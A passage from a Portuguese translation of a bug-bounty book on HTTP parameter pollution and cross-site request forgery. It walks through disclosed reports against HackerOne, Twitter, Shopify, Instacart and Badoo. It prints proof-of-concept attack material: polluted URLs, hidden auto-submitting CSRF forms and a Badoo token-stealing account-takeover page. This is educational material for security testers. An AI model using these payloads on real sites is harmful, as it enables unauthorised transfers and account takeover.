que especificariam o número da conta da qual transferir dinheiro, a conta para a qual transferir e o
valor a transferir, nessa ordem. Uma URL com esses parâmetros que transfere US$ 5.000 da conta
número 12345 para a conta 67890 pode ser semelhante a:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000
É possível que o banco suponha que receberá apenas um do parâmetro. Mas o que acontece se você
enviar dois, como o seguinte:
https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
Essa URL é inicialmente estruturada da mesma forma que nosso primeiro exemplo, mas acrescenta
um parâmetro from extra que especifica outra conta de envio ABCDEF. Como você deve ter
adivinhado, se o aplicativo for vulnerável a HPP, um invasor poderá executar uma transferência
Poluição do parâmetro HTTP 20
de uma conta que não possui se o banco confiou no último parâmetro from recebido.
Em vez de transferir $ 5.000 da conta 12345 para 67890, o código do lado do servidor usaria o segundo
parâmetro e enviaria dinheiro da conta ABCDEF para 67890.
As vulnerabilidades HPP do lado do servidor e do lado do cliente dependem de como o servidor se

comporta ao receber vários parâmetros com o mesmo nome. Por exemplo, PHP/Apache usa a última
ocorrência, Apache Tomcat usa a primeira ocorrência, ASP/IIS usa todas as ocorrências e assim por
diante. Como resultado, não há um único processo garantido para lidar com vários envios de parâmetros
com o mesmo nome e encontrar o HPP exigirá alguma experimentação para confirmar como o site que
você está testando funciona.
Embora nosso exemplo até agora use parâmetros que são óbvios, às vezes as vulnerabilidades HPP
ocorrem como resultado de um comportamento oculto do lado do servidor do código que não é
diretamente visível para você. Por exemplo, digamos que nosso banco decidiu revisar a maneira como
processava transferências e alterou seu código de back-end para não incluir um parâmetro from na URL,
mas, em vez disso, usar uma matriz que contém vários valores.
Desta vez, nosso banco terá dois parâmetros para a conta a ser transferida e o valor a ser transferido.
A conta da qual transferir será apenas um dado. Um link de exemplo pode ser semelhante ao seguinte:
https://www.bank.com/transfer?to=67890&amount=5000
Normalmente, o código do lado do servidor será um mistério para nós, mas, felizmente, roubamos o
código-fonte e sabemos que o código Ruby do lado do servidor (abertamente terrível para o bem deste
exemplo) se parece com:
usuário.conta = 12345
def prepare_transfer(params)
params << user.account
transfer_money(params) #user.account (12345) torna-se params[2] end
def transfer_money(params)
to = params[0] amount =
params[1] from = params[2]
transfer(to,amount,from)
fim
Esse código cria duas funções, prepare_transfer e transfer_money. A função prepare_transfer pega um
array chamado params que contém os parâmetros to e amount do URL. A matriz seria [67890,5000]
onde os valores da matriz são colocados entre colchetes e cada valor é separado por uma vírgula. A
primeira linha de
a função adiciona as informações da conta do usuário que foram definidas anteriormente no código ao final da matriz,
de modo que acabamos com a matriz [67890,5000,12345] em params e, em seguida, params é passado para
transfer_money.
Você notará que, ao contrário dos parâmetros, os arrays Ruby não têm nomes associados aos seus valores, portanto,
o código depende do array sempre contendo cada valor na ordem em que a conta para a qual transferir é a primeira,
a quantia para a qual transferir é a próxima , e a conta da qual transferir segue os outros dois valores. Em
transfer_money, isso fica evidente quando a função atribui cada valor de matriz a uma variável. As localizações do
array são numeradas a partir de 0, então params[0] acessa o valor no primeiro local do array, que é 67890 neste caso,
e o atribui à variável to. Os outros valores também são atribuídos a variáveis nas próximas duas linhas e, em seguida,
os nomes das variáveis são passados para a função de transferência, que não é mostrada neste trecho de código,
mas pega os valores e realmente transfere o dinheiro.
Idealmente, os parâmetros de URL sempre seriam formatados da maneira que o código espera.
No entanto, um invasor pode alterar o resultado dessa lógica passando um valor from para os parâmetros, como no
seguinte URL:
https://www.bank.com/transfer?to=67890&amount=5000&from=ABCDEF
Nesse caso, o parâmetro from também está incluído no array params passado para a função prepare_transfer, então
os valores dos arrays seriam [67890,5000,ABCDEF] e adicionar a conta do usuário resultaria em
[67890,5000,ABCDEF,12345 ]. Como resultado, na função transfer_money chamada em prepare_transfer, a variável
from receberia o terceiro parâmetro esperando o valor user.account 12345, mas na verdade faria referência ao valor
passado pelo invasor ABCDEF.
HPP do lado do cliente
Por outro lado, as vulnerabilidades HPP do lado do cliente envolvem a capacidade de injetar parâmetros em uma
URL, que são posteriormente refletidos de volta na página para o usuário.
Luca Carettoni e Stefano di Paola, dois pesquisadores que apresentaram esse tipo de vulnerabilidade em 2009,
incluíram um exemplo desse comportamento em sua apresentação usando a URL teórica http://host/page.php?
par=123%26action=edit e o seguinte código do lado do servidor:
<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?
> <a href="/page.php?action=view&par='.<?=$val?>.'">Veja -me!</a>
Aqui, o código gera um novo URL com base no URL inserido pelo usuário. A URL gerada inclui um parâmetro de
ação e um parâmetro par , o segundo dos quais é determinado pela URL do usuário. Na URL teórica, um invasor
passa o valor 123%26action=edit como o valor par na URL. %26 é o valor codificado da URL para &, o que significa
que, quando a URL é analisada, %26 é interpretada como &. Isso adiciona um parâmetro adicional
ao link href gerado sem adicionar um parâmetro de ação explícito. Se eles tivessem usado 123&action=edit
em vez disso, isso teria sido interpretado como dois parâmetros separados, então par seria igual a 123 e a
ação do parâmetro seria igual a edição. Mas como o site está apenas procurando e usando o parâmetro par
em seu código para gerar a nova URL, o parâmetro de ação seria descartado. Para contornar isso, o %26 é
usado para que a ação não seja inicialmente reconhecida como um parâmetro separado, então o valor do
par se torna 123%26action=edit.
Agora, par (com o & codificado como %26) seria passado para a função htmlspecialchars.
Esta função converte caracteres especiais, como %26 em seus valores codificados em HTML, resultando
em %26 tornando-se &. O valor convertido é então armazenado em $val. Em seguida, um novo link é gerado
anexando $val ao valor href em. Então o link gerado se torna:
<a href="/page.php?action=view&par=123&action=edit">
Ao fazer isso, um invasor conseguiu adicionar o action=edit adicional ao URL href, o que pode levar a uma
vulnerabilidade, dependendo de como o servidor lida com o recebimento de dois parâmetros de ação.
Exemplos
1. Botões de compartilhamento social do HackerOne
Dificuldade: Baixa
URL: https://hackerone.com/blog/introducing-signal-and-impact Link do
relatório: https://hackerone.com/reports/1059531
Descrição:
As postagens do blog do HackerOne incluem links para compartilhar conteúdo em sites populares de mídia
social como Twitter, Facebook e assim por diante. Esses links criarão conteúdo para o usuário postar nas
mídias sociais com um link para a postagem original do blog. Os links para criar as postagens incluem
parâmetros que redirecionam para o link da postagem do blog quando outro usuário clica na postagem compartilhada.
Foi descoberta uma vulnerabilidade em que um hacker poderia inserir outro parâmetro de URL ao visitar uma
postagem de blog, o que seria refletido no link de mídia social compartilhado, resultando no link da postagem
compartilhada para outro lugar que não o blog pretendido.
O exemplo usado no relatório de vulnerabilidade envolveu a visita à URL:
https://hackerone.com/blog/introducing-signal
e depois adicionando
&u=https://vk.com/durov
até o fim dela. Na página do blog, quando um link para compartilhar no Facebook era renderizado pelo HackerOne,
o link se tornava:
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov
Se esse link atualizado de forma maliciosa for clicado por visitantes do HackerOne tentando compartilhar conteúdo
por meio de links de mídia social, o último parâmetro u terá precedência sobre o primeiro e será usado
posteriormente na postagem do Facebook. Isso faria com que os usuários do Facebook clicassem no link e
fossem direcionados para https://vk.com/durov em vez de HackerOne.
Além disso, ao postar no Twitter, o HackerOne incluiu o texto padrão do Tweet que promoveria a postagem. Isso
também pode ser manipulado incluindo &text= no URL:
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov
Depois que um usuário clicasse nesse link, ele receberia um pop-up de Tweet com o texto other_- site: https://
vk.com/durov em vez do texto que promovia o blog HackerOne.
Aprendizado
Esteja atento a oportunidades quando os sites aceitam conteúdo e parecem estar entrando
em contato com outro serviço da web, como sites de mídia social, e contando com a URL
atual para gerar o link para criar uma postagem compartilhada.
Nessas situações, pode ser possível que o conteúdo enviado esteja sendo transmitido
sem passar pelas verificações de segurança adequadas, o que pode levar a vulnerabilidades
de poluição de parâmetros.
2. Notificações de cancelamento de assinatura do Twitter
Dificuldade: Baixa
URL: twitter.com
Link do relatório: blog.mert.ninja/twitter-hpp-vulnerability2
Data do relatório: 23 de agosto de 2015
Descrição:
2http://blog.mert.ninja/blog/twitter-hpp-vulnerability
Em agosto de 2015, o hacker Mert Tasci notou uma URL interessante ao cancelar o recebimento de notificações do
Twitter:
https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26
(Eu encurtei isso um pouco para o livro). Você notou o parâmetro UID? Este é o ID de usuário da sua conta do
Twitter. Percebendo isso, ele fez o que presumo que a maioria de nós hackers faria, ele tentou mudar o UID para o
de outro usuário e nada.
O Twitter retornou um erro.
Determinado a continuar onde outros podem ter desistido, Mert tentou adicionar um segundo
Parâmetro UID para que a URL se parecesse (novamente encurtei isso):
https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26
E SUCESSO! Ele conseguiu cancelar a assinatura de outro usuário de suas notificações por e-mail.
Acontece que o Twitter era vulnerável a usuários que cancelaram a assinatura do HPP.
Aprendizado
Embora seja uma breve descrição, os esforços de Mert demonstram a importância da

persistência e do conhecimento. Se ele tivesse se afastado da vulnerabilidade após alterar o UID
para outro usuário e falhar ou não soubesse sobre as vulnerabilidades do tipo HPP, ele não teria
recebido sua recompensa de $ 700.
Além disso, fique atento a parâmetros, como UID, sendo incluídos em solicitações HTTP, pois
muitas vulnerabilidades envolvem a manipulação de valores de parâmetros para fazer com que
os aplicativos da Web façam coisas inesperadas.
3. Intenções da Web do Twitter
Dificuldade: Baixa
URL: twitter.com
Link do relatório: Ataque de adulteração de parâmetros no Twitter Web Intents3
Data do relatório: novembro de 2015
Recompensa Paga: Não Divulgado
Descrição:
O Twitter Web Intents fornece fluxos pop-up para trabalhar com tweets, respostas, retuítes, curtidas e seguidores do
usuário do Twitter no contexto de sites que não são do Twitter. Eles permitem que os usuários interajam com o
conteúdo do Twitter sem sair da página ou ter que autorizar um
3https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
novo aplicativo apenas para a interação. Aqui está um exemplo da aparência de um desses pop-ups:
Intenção do Twitter
Testando isso, o hacker Eric Rafaloff descobriu que todos os quatro tipos de intenção, seguindo um
usuário, curtindo um tweet, retuitando e tuitando, eram vulneráveis ao HPP. O Twitter criaria cada
intenção por meio de uma solicitação GET com parâmetros de URL como os seguintes:
https://twitter.com/intent/intentType?paramter_name=paramterValue
Essa URL incluiria intentType e um ou mais pares de nome/valor de parâmetro, por exemplo, um
nome de usuário do Twitter e ID do Tweet. O Twitter usaria esses parâmetros para criar a intenção
pop-up para exibir o usuário a seguir ou tweetar para curtir. Eric descobriu que se ele criasse
uma URL com dois parâmetros screen_name para uma intenção de seguir, em vez do singular
screen_name esperado, como:
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3
O Twitter lidaria com a solicitação dando precedência ao segundo valor screen_name ericrtest3
sobre o primeiro valor twitter ao gerar um botão seguir, portanto, um usuário que tentasse seguir
a conta oficial do Twitter poderia ser induzido a seguir a conta de teste de Eric. Visitar a URL
criada por Eric resultaria na geração do seguinte formulário HTML pelo código de back-end do
Twitter com os dois parâmetros screen_name :
<form class="follow" id="follow_btn_form" action="/intent/follow?screen_name=ericrte\

st3" method="post"> <input type="hidden" name="authenticity_token" value="... ">
<input type="hidden" name="screen_name" value="twitter"> <input type="hidden"
name="profile_id" value="783214"> <button class="button" type="submit" > <b></
b><strong>Seguir</strong>
</botão>
</form>
O Twitter extrairia as informações do primeiro parâmetro screen_name , que está associado à

conta oficial do Twitter para que a vítima visse o perfil correto do usuário que pretendia seguir,
porque o primeiro parâmetro screen_name da URL é usado para preencher as duas entradas
valores. Mas, ao clicar no botão, eles acabariam seguindo ericrtest3 porque a ação na tag de
formulário usaria o valor do segundo parâmetro screen_name no parâmetro de ação da tag de
formulário, passado para a URL original:
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3
Da mesma forma, ao apresentar intenções de curtir, Eric descobriu que poderia incluir um
parâmetro screen_name , apesar de não ter relevância para curtir o tweet. Por exemplo, ele
poderia criar a URL:
https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=ericrtest3
Uma intenção semelhante normal precisaria apenas do parâmetro tweet_id, no entanto, Eric
injetou o parâmetro screen_name no final da URL. Curtir este tweet resultaria na apresentação
à vítima do perfil de proprietário correto para curtir o Tweet, mas o botão seguir apresentado ao
lado do Tweet correto e o perfil correto do tweeter seria para o usuário não relacionado ericrtest3.
Aprendizado
Isso é semelhante à vulnerabilidade UID Twitter anterior. Sem surpresa, quando um site é
vulnerável a uma falha como HPP, pode ser indicativo de um problema sistêmico mais
amplo. Às vezes, se você encontrar uma vulnerabilidade como essa, vale a pena dedicar
um tempo para explorar a plataforma em sua totalidade para ver se há outras áreas onde
você pode explorar um comportamento semelhante.
Resumo
O risco representado pela Poluição de Parâmetros HTTP é realmente dependente das ações
executadas pelo back-end de um site e onde os parâmetros poluídos estão sendo usados.
Descobrir esses tipos de vulnerabilidades realmente depende mais da experimentação do que de

outras vulnerabilidades porque as ações de back-end de um site podem ser uma caixa preta para um
hacker, o que significa que você provavelmente terá muito pouco conhecimento sobre quais ações
um back-end servidor final leva depois de receber sua entrada.
Por meio de tentativa e erro, você poderá descobrir situações desse tipo de vulnerabilidade. Os links
de mídia social geralmente são um bom primeiro passo, mas lembre-se de continuar pesquisando e
pensar em HPP quando estiver testando substituições de parâmetros como UIDs.
6. Falsificação de solicitação entre sites
Descrição
Um ataque de falsificação de solicitação entre sites, ou CSRF, ocorre quando um invasor pode usar
uma solicitação HTTP para acessar as informações de um usuário de outro site e usar essas
informações para agir em nome do usuário. Isso normalmente depende da vítima ser previamente
autenticada no site de destino onde a ação é enviada e ocorre sem que a vítima saiba que o ataque
aconteceu. Aqui está um exemplo básico, pelo qual iremos percorrer:
1. Bob faz login no site de seu banco para verificar seu saldo.
2. Ao terminar, Bob verifica sua conta do Gmail visitando https://gmail.com/.
3. Bob tem um e-mail com um link para um site desconhecido e clica no link para ver onde
isso leva a.
4. Quando carregado, o site desconhecido instrui o navegador de Bob a fazer uma solicitação HTTP
ao site bancário de Bob, que transfere dinheiro de sua conta para a do invasor.
5. O site bancário de Bob recebe a solicitação HTTP do site desconhecido (e malicioso), não tem
nenhuma proteção CSRF e, portanto, processa a transferência.
Biscoitos
Agora, antes de entrarmos em detalhes sobre como Bob foi comprometido, precisamos falar sobre
cookies. Quando você visita um site que requer autenticação, como um nome de usuário e senha, esse
site normalmente armazena um cookie em seu navegador. Cookies são arquivos criados por sites que
são armazenados no computador do usuário.
Os cookies podem ser usados para várias finalidades, como armazenar informações como preferências
do usuário ou o histórico de visita do usuário a um site. Para armazenar essas informações, os cookies
podem ter alguns atributos, que são informações padronizadas que informam aos navegadores sobre
os cookies e como eles devem ser tratados. Alguns atributos que um cookie pode ter incluem os
atributos de domínio, data de expiração, seguro e somente http.
Além dos atributos, os cookies podem conter pares nome/valor, que são compostos por um identificador
e um valor associado a ser passado para um site (o site para o qual passar esta informação é definido
pelo atributo de domínio do cookie). Um site pode definir qualquer número de cookies, cada um com
sua própria finalidade. Por exemplo, um site pode usar um cookie session_id para lembrar quem é um
usuário, em vez de fazer com que ele insira seu nome de usuário e senha para cada página visitada
ou ação executada. Lembre-se de que o HTTP é considerado sem estado
Falsificação de solicitação entre sites 29
o que significa que, a cada solicitação HTTP, um site não sabe quem é o usuário e, portanto, precisa
autenticá-lo novamente para cada solicitação.
Assim, como exemplo, um par nome/valor em um cookie pode ser sessionId:123456789 e o cookie
pode ter um domínio .site.com. Isso significa que o cookie user_id deve ser enviado para todos os
sites .site.com que um usuário visita, como foo.site.com, bar.site.com, www.site.com e assim por diante.
Os atributos secure e httponly informam aos navegadores quando e como os cookies podem ser
enviados e lidos. Esses atributos não contêm valores, mas agem como sinalizadores que estão ou não
presentes no cookie. Quando um cookie contém o atributo seguro, os navegadores só enviarão esse
cookie ao visitar sites HTTPS. Se você visitou http://www.site.com/ com um cookie seguro, seu
navegador não enviaria seus cookies para o site. Isso é para proteger sua privacidade, pois as
conexões HTTPS são criptografadas e as HTTP não. O atributo httponly informa ao navegador que o
cookie só pode ser lido por meio de solicitações HTTP e HTTPS.
Isso se tornará importante quando discutirmos o script entre sites em um capítulo posterior, mas, por
enquanto, saiba que, se um cookie for somente http, os navegadores não permitirão que nenhuma
linguagem de script, como JavaScript, leia seu valor. Um cookie sem o atributo seguro pode ser enviado
para um site não HTTPS e, da mesma forma, um cookie sem httponly definido pode ser lido por uma
conexão não HTTP.
Por fim, a data de expiração simplesmente informa ao navegador quando o site não considerará mais
o cookie válido, portanto, o navegador deve destruí-lo.
Levando tudo isso de volta para Bob, quando ele visita o site de seu banco e faz login, o banco
responderá à sua solicitação HTTP com uma resposta HTTP, que inclui um cookie que identifica Bob.
Por sua vez, o navegador de Bob enviará automaticamente esse cookie com todas as outras
solicitações HTTP para o site do banco.
Depois de terminar seu banco, Bob não sai quando decide visitar https://www.gmail.com/.
Isso é importante porque quando você sai de um site, esse site normalmente envia uma resposta HTTP
que expira seu cookie. Como resultado, ao revisitar o site, você terá que fazer login novamente.
Quando Bob visita o site desconhecido, ele está inadvertidamente visitando um site malicioso, projetado
para atacar o site de seu banco. Neste ponto, a maneira como o site malicioso explora o site do banco
depende se o banco aceita solicitações GET ou POST.
CSRF com solicitações GET
Se o site do banco aceitar solicitações GET, o site malicioso enviará a solicitação HTTP com um
formulário oculto ou uma tag <img>. Como a técnica de formulário oculto também pode ser usada com
solicitações POST, abordaremos a tag <img> nesta seção e os formulários na seção “CSRF com
solicitações POST” posteriormente.
Quando uma tag <img> é renderizada por um navegador, ele fará uma solicitação HTTP GET para o atributo
src na tag. Portanto, se o site malicioso usasse um URL que transferisse $ 500 de Bob para Joe, seria:
https://www.bank.com/transfer?from=bob&to=joe&amount=500
então uma tag de imagem maliciosa usaria esse URL como seu valor de origem, como na tag a seguir:
<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">
Como resultado, quando Bob visita o site de propriedade do invasor, ele inclui a tag <img> em sua resposta
HTTP e o navegador faz a solicitação HTTP GET ao banco. O navegador envia os cookies de autenticação de
Bob para obter o que pensa ser uma imagem quando, na verdade, o banco recebe a solicitação, processa a
URL no atributo src da tag e processa a transferência.
Por esse motivo, como um princípio geral de programação da Web, as solicitações HTTP GET nunca devem
executar nenhuma solicitação de modificação de dados de back-end, como transferência de dinheiro.
CSRF com solicitações POST
Por outro lado, se o banco aceitar solicitações POST, há algumas coisas a serem consideradas.
O conteúdo de uma solicitação POST pode complicar um ataque CSRF, então diferentes técnicas precisam
ser usadas para realizar um ataque com sucesso.
A situação mais simplista envolve uma solicitação POST com o tipo de conteúdo application/x-www-form-
urlencoded ou text/plain. O tipo de conteúdo é um cabeçalho que os navegadores podem incluir ao enviar
solicitações HTTP. Ele informa ao destinatário como o corpo da solicitação HTTP é codificado. Aqui está um
exemplo de uma solicitação de tipo de conteúdo texto/sem formatação:
POST / HTTP/
1.1 Host:
www.google.ca User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/
20100101 Firefox/50.0 Aceitar: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;q=0.8 Content-Length: 0 Content-Type: text/plain;charset=UTF-8 DNT: 1
Conexão: fechar
O tipo de conteúdo é rotulado e seu tipo é listado junto com a codificação de caracteres da solicitação. O tipo
de conteúdo é importante porque os navegadores tratam os tipos de maneira diferente (o que veremos em um
segundo). Agora, nessa situação, é possível que um site malicioso crie um formulário HTML oculto e o envie
silenciosamente para o site de destino sem que a vítima saiba.
O formulário pode ser usado para enviar uma solicitação POST ou GET para uma URL e pode até mesmo
enviar valores de parâmetros. Aqui está um exemplo de algum código malicioso:
<iframe style="display:none" name="csrf-frame"></iframe>

<form method='POST' action='http://bank.com/transfer.php' target="csrf-frame" id="cs\
rf-form">
<input type='hidden' name='from' value='Bob'>
<input type='hidden' name='to' value='Joe'>
<input type='hidden' name='amount' value= '500'>
<input type='submit' value='submit'> </form>
<script>document.getElementById("csrf-form").submit()</script>
Aqui, estamos fazendo uma solicitação HTTP POST para o banco de Bob com um formulário (isso é
indicado pelo atributo target na tag <form> ). Como o invasor não deseja que Bob veja o formulário,
cada um dos elementos <input> recebe o tipo 'hidden', o que os torna invisíveis na página da Web
que Bob vê. Como etapa final, o invasor inclui algum JavaScript dentro de uma tag <script> para
enviar automaticamente o formulário quando a página é carregada.
O JavaScript faz isso chamando o método getElementByID() no documento HTML com o id do

formulário (“csrf-form”) que definimos no <form>. Assim como em uma solicitação GET, assim que o
formulário é enviado, o navegador faz a solicitação HTTP POST para enviar os cookies de Bob ao
site do banco, que invoca uma transferência. Como as solicitações POST enviam uma resposta
HTTP de volta para o navegador, o invasor oculta a resposta em um <iframe> com o atributo
display:none para que Bob não veja e perceba o que aconteceu.
Em outros cenários, um site pode esperar que a solicitação POST seja enviada com o tipo de
conteúdo application/json. Em alguns casos, uma solicitação do tipo application/json terá um token
CSRF, que é um valor enviado com a solicitação HTTP para que o site de destino possa validar que
a solicitação foi originada dele mesmo e não de outro site malicioso . Às vezes, o token é incluído no
corpo HTTP da solicitação POST e, outras vezes, é um cabeçalho como o tipo de conteúdo.
O envio de solicitações POST como application/json é significativo porque os navegadores primeiro

enviarão uma solicitação OPTIONS HTTP antes que a solicitação POST seja enviada. O site então
retorna uma resposta para a chamada OPTIONS indicando quais tipos de requisições HTTP ele aceita.
O navegador lê essa resposta e, em seguida, faz a solicitação POST HTTP real, que em nosso
exemplo seria a transferência. Na verdade, esse fluxo de trabalho protege contra algumas
vulnerabilidades do CSRF porque o site mal-intencionado não terá permissão para ler a resposta
HTTP OPTIONS do site de destino para saber se ele pode enviar a solicitação POST maliciosa. Isso
é chamado de compartilhamento de recursos de origem cruzada (CORS).
O CORS foi projetado para restringir o acesso a recursos, incluindo respostas json, de um domínio
fora daquele que atendeu ao arquivo ou é permitido pelo site de destino. Em outras palavras, quando
o CORS é usado para proteger um site, você não pode enviar uma solicitação application/json para
chamar o aplicativo de destino, ler a resposta e fazer outra chamada, a menos que o site de destino
permita. Em algumas situações, você poderá contornar o CORS para realizar um ataque CSRF,
como veremos mais adiante neste capítulo.
Agora, como mencionado, as vulnerabilidades CSRF podem ser mitigadas de várias maneiras, por isso
é importante garantir uma prova adequada de ataque de conceito antes de relatá-los.
Defesas contra ataques CSRF
A proteção mais popular contra o CSRF é provavelmente o token CSRF, que seria exigido pelo site
protegido ao enviar solicitações de alteração de dados (ou seja, solicitações POST). Aqui, um aplicativo
da Web (como o banco de Bob) geraria um token com duas partes, uma que Bob receberia e outra que
o aplicativo reteria.
Quando Bob tenta fazer solicitações de transferência, ele deve enviar seu token, que o banco valida
com seu lado do token.
Esses tokens nem sempre são obviamente nomeados, mas alguns exemplos potenciais de nomes
incluem X-CSRF-TOKEN, lia-token, rt ou form-id. O invasor não seria capaz de enviar com sucesso
uma solicitação POST sem um token válido e, portanto, não seria capaz de realizar um ataque CSRF,
no entanto, os tokens CSRF nem sempre levam a um beco sem saída ao procurar por vulnerabilidades
para explorar.
A outra maneira óbvia de os sites se protegerem é usando o CORS, embora isso não seja infalível, pois
depende da segurança dos navegadores, garantindo configurações CORS adequadas quando os sites
têm permissão para acessar as respostas e houve algumas vulnerabilidades de desvio do CORS para
isso no passado. Além disso, o CORS às vezes pode ser ignorado alterando o tipo de conteúdo de
application/json para application/x-www-form-urlencoded ou usando uma solicitação GET em vez de
uma solicitação POST. Ambos dependem de como o site de destino está configurado.
Por fim, as vulnerabilidades CSRF também podem ser evitadas se um site validar o cabeçalho de
origem enviado com uma solicitação HTTP, pois a origem não pode ser controlada pelo invasor e se
refere ao local de origem da solicitação.
Exemplos
1. Desconexão do Twitter da Shopify
Dificuldade: Baixa
URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect Link do
Recompensa paga: $ 500 1https://
hackerone.com/reports/111216
Descrição:
A Shopify oferece integração com o Twitter para permitir que os lojistas tuítem sobre seus produtos.
Da mesma forma, também fornece funcionalidade para desconectar uma conta do Twitter de uma
loja conectada. A URL para desconectar uma conta do Twitter é:
https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/
Acontece que, quando originalmente implementado, o Shopify não validava a legitimidade das
solicitações GET enviadas a ele, tornando a URL vulnerável ao CSRF.
GET /auth/twitter/disconnect HTTP/1.1

Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101
Fi\ refox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip,
deflate Referer: https://twitter-commerce.shopifyapps.com/
account Cookie: _twitter-commerce_session=REMOVIDO
Conexão: keep-alive
O hacker WeSecureApp, que registrou o relatório, forneceu o seguinte exemplo de uma solicitação
vulnerável - observe o uso de uma tag <img> que faz a chamada para o vulnerável
URL:
<html>
<body>
<img src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"> </
body> </html>
Aprendizado
Nessa situação, a vulnerabilidade pode ter sido encontrada usando um servidor proxy, como
o Burp ou o ZAP da OWASP, para monitorar as solicitações HTTP enviadas à Shopify e
observar que se tratava de uma solicitação GET. As solicitações GET nunca devem modificar
nenhum dado no servidor, mas o WeSecureApp foi capaz de realizar uma ação destrutiva
com uma, portanto, você também deve examinar esses tipos de solicitações.
2. Alterar Zonas Instacart dos Usuários
Dificuldade: Baixa
URL: https://admin.instacart.com/api/v2/zones/
Descrição:
Instacart é um aplicativo de entrega de supermercado com uma interface para seus correios. Ele permite que seus
usuários de entrega de supermercado definam as zonas em que trabalham, que também podem ser atualizadas com
uma solicitação POST para o endpoint /api/v2/zones da API de administração Instacart. Um hacker descobriu que
esse terminal era CSRF vulnerável e poderia ser usado para modificar a zona da vítima. Aqui está um código de
exemplo para modificar a zona de uma vítima:
<html>
<body>
<form action="https://admin.instacart.com/api/v2/zones" method="POST">
<input type="hidden" name="zip" value="10001" /> < input type="hidden"
name="override" value="true" /> <input type="submit" value="Enviar
solicitação" /> </form>
</body>
</html>
Neste exemplo, o hacker criou um formulário para acessar a API com uma solicitação POST. Eles então usaram duas
entradas ocultas - uma para definir a nova zona do usuário para o código postal 10001 e outra para definir o parâmetro
de substituição da API como verdadeiro para que o valor do CEP atual do usuário seja substituído pelo valor enviado
pelo hacker. Por fim, o hacker enviou o formulário para fazer a solicitação POST. Este POC difere do anterior, pois
exigiria que a vítima clicasse em um botão para enviar a solicitação, pois o hacker não usou uma função JavaScript de
envio automático.
Embora esse exemplo ainda funcione, ele pode ser aprimorado usando as técnicas descritas anteriormente, como usar
um iframe oculto e enviar automaticamente a solicitação em nome do usuário. Isso demonstraria aos triadores de bugs
da Instacart como um invasor poderia usar essa vulnerabilidade sem nenhuma ação da vítima, pois as vulnerabilidades
que não exigem ou limitam a interação da vítima são potencialmente mais impactantes, pois menos esforço é
necessário para explorar a vulnerabilidade.
Aprendizado
Ao procurar explorações, amplie o escopo do ataque e olhe além das páginas de um site para incluir
seus endpoints de API, que oferecem grande potencial para vulnerabilidades.
Ocasionalmente, os desenvolvedores às vezes esquecem que os endpoints da API podem ser
descobertos e explorados, pois não estão prontamente disponíveis como páginas da Web (por
exemplo, os endpoints da API móvel exigem a interceptação do tráfego do seu telefone).
3. Aquisição de conta completa do Badoo
Dificuldade: Média
URL: https://badoo.com
Data do relatório: 1º de abril de 2016
Descrição:
Se você visitar e explorar o site de rede social https://www.badoo.com/, verá que eles protegem contra
vulnerabilidades CSRF com um token CSRF. Mais especificamente, eles usam um parâmetro de URL, rt, que
é exclusivo para cada usuário, mas com apenas cinco dígitos (pelo menos no momento da redação). Embora
tenha notado isso quando o programa de recompensas de bugs do Badoo foi lançado no HackerOne, não
consegui encontrar uma maneira de explorá-lo. No entanto, o hacker Mahmoud Jamal o fez.
Reconhecendo o parâmetro rt e seu significado, ele também notou que o parâmetro era retornado em quase
todas as respostas JSON. Infelizmente, isso não foi útil, pois o CORS protege o Badoo de invasores que leem
essas respostas, pois elas são codificadas como tipos de conteúdo de aplicativo/json, mas Mahmoud
continuou cavando.
Mahmoud então encontrou o seguinte arquivo JavaScript:
https://eu1.badoo.com/worker-scope/chrome-service-worker.js
Dentro desse arquivo, havia uma variável url_stats que se parecia com:
var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';
A variável url_stats armazenava uma URL que continha o valor rt exclusivo do usuário como um parâmetro
quando o navegador do usuário acessava o arquivo JavaScript. O que foi ainda melhor foi que, para obter o
valor rt do usuário, um invasor precisaria apenas que a vítima visitasse uma página da Web maliciosa que
acessaria o arquivo JavaScript. O atacante pode então usar
o valor rt para vincular qualquer conta de mídia social à conta do Badoo do usuário, o que daria ao
invasor a capacidade de fazer login e modificar a conta da vítima. Aqui está a página HTML que
Mahmoud usou para fazer isso (removi o código e os valores de estado para fins de formatação):
<html>
<cabeça>
<title>A conta do Badoo assume </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></s\ cript> </head> <body>

<script> function getCSRFcode(str ) { return str.split('=')[2]; } window.onload = function(){ var csrf_code =
getCSRFcode(url_stats); csrf_url ='https://eu1.badoo.com/google/verify.phtml?code=CODE&authuser=3&se\
ssion_state=STATE&prompt=none&rt='+ csrf_code; window.location = csrf_url; }; </script> </body> </html>
Quando uma vítima carregava esta página, ela carregava o JavaScript do Badoo referenciando-o
como o atributo src em uma tag de script. Depois de carregar o script, a página da Web chama a
função JavaScript window.onload, que define uma função JavaScript anônima. O manipulador de
eventos onload é chamado pelos navegadores quando uma página da Web é carregada e, como a
função definida por Mahmoud é armazenada no manipulador window.onload, sua função sempre
será chamada quando a página for carregada.
Em seguida, Mahmoud criou uma variável csrf_code e atribuiu a ela o valor de retorno de uma
função que chamou de getCSRFcode. Esta função pega e divide uma string em uma matriz de
strings em cada caractere '='. Em seguida, ele retorna o valor do terceiro membro da matriz.
